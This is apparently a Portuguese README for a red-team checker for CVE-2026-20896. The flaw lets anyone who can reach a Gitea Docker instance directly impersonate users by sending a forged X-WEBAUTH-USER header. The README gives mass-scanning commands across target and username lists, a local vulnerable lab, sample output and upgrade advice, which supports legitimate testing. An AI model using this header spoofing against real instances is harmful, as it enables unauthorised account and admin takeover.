
CVE-2026-20896 Gitea Docker X-WEBAUTH-USER verificador de bypass de autenticação
Apenas para operações autorizadas de red team / pentest.
Este repositório contém um verificador mínimo para o CVE-2026-20896, um bypass de autenticação em imagens oficiais do Gitea Docker até a versão 1.26.2 quando a autenticação por reverse-proxy está ativada.
As imagens Docker do Gitea afetadas incluíam um template app.ini com:
REVERSE_PROXY_TRUSTED_PROXIES = *
Quando um administrador ativava:
ENABLE_REVERSE_PROXY_AUTHENTICATION = true
O Gitea confiava em X-WEBAUTH-USER de qualquer IP de origem que conseguisse alcançar diretamente a porta HTTP do container. Um cliente que contornasse o reverse-proxy de autenticação pretendido poderia enviar um único cabeçalho e se passar por um utilizador conhecido ou adivinhável.
O impacto prático é a personificação de contas não autenticadas. Se o utilizador adivinhado for um administrador, o pior caso é a tomada total do nível da aplicação da instância Gitea e seus repositórios. RCE no host depende do ambiente e não é reivindicado por este verificador.
As versões corrigidas começam em 1.26.3; recomenda-se atualizar para 1.26.4 ou superior.
O verificador:
Powered by Gitea Version: 1.26.4.>= 1.26.3.GET / com X-WEBAUTH-USER: <username> para cada nome de utilizador fornecido.A versão em Go suporta múltiplos alvos, ficheiros de nomes de utilizador, concorrência, timeouts, saída JSONL, TLS --insecure, --dry-run e --force.
go build -o gitea-cve-2026-20896-check .
Nenhuma dependência Go de terceiros é necessária.
Alvo único:
./gitea-cve-2026-20896-check \
--url http://localhost:3000 \
--users admin,gitea_admin,alice
Múltiplos alvos e nomes de utilizador:
./gitea-cve-2026-20896-check \
--targets targets.txt \
--user-file users.txt \
--concurrency 64 \
--timeout 8s \
--jsonl
Execução de teste (dry run):
./gitea-cve-2026-20896-check \
--url http://localhost:3000 \
--users admin,alice \
--dry-run
Fallback em Bash:
./poc.sh --url http://localhost:3000 --users admin,alice
0: pelo menos uma personificação vulnerável foi confirmada1: nenhuma personificação vulnerável foi confirmada2: erro de uso, entrada ou execuçãoO laboratório a seguir inicia um container local afetado do Gitea e cria um utilizador de teste:
docker run -d --name gitea-cve-2026-20896 \
-p 127.0.0.1:3000:3000 \
-e GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION=true \
-e GITEA__security__INSTALL_LOCK=true \
gitea/gitea:1.26.2
sleep 15
docker exec --user git gitea-cve-2026-20896 gitea admin user create \
--username alice \
--password 'longpasswordhere1234' \
--email [email protected] \
--must-change-password=false
./gitea-cve-2026-20896-check --url http://localhost:3000 --users bob,alice,admin
Resultado positivo esperado:
[VULNERABLE] http://localhost:3000 user=alice title="alice - Dashboard - Gitea: Git with a cup of tea"
Limpeza:
docker rm -f gitea-cve-2026-20896
1.26.3 ou superior; 1.26.4 ou superior é preferível.1.26.3 / 1.26.4: https://blog.gitea.com/release-of-1.26.3-and-1.26.4/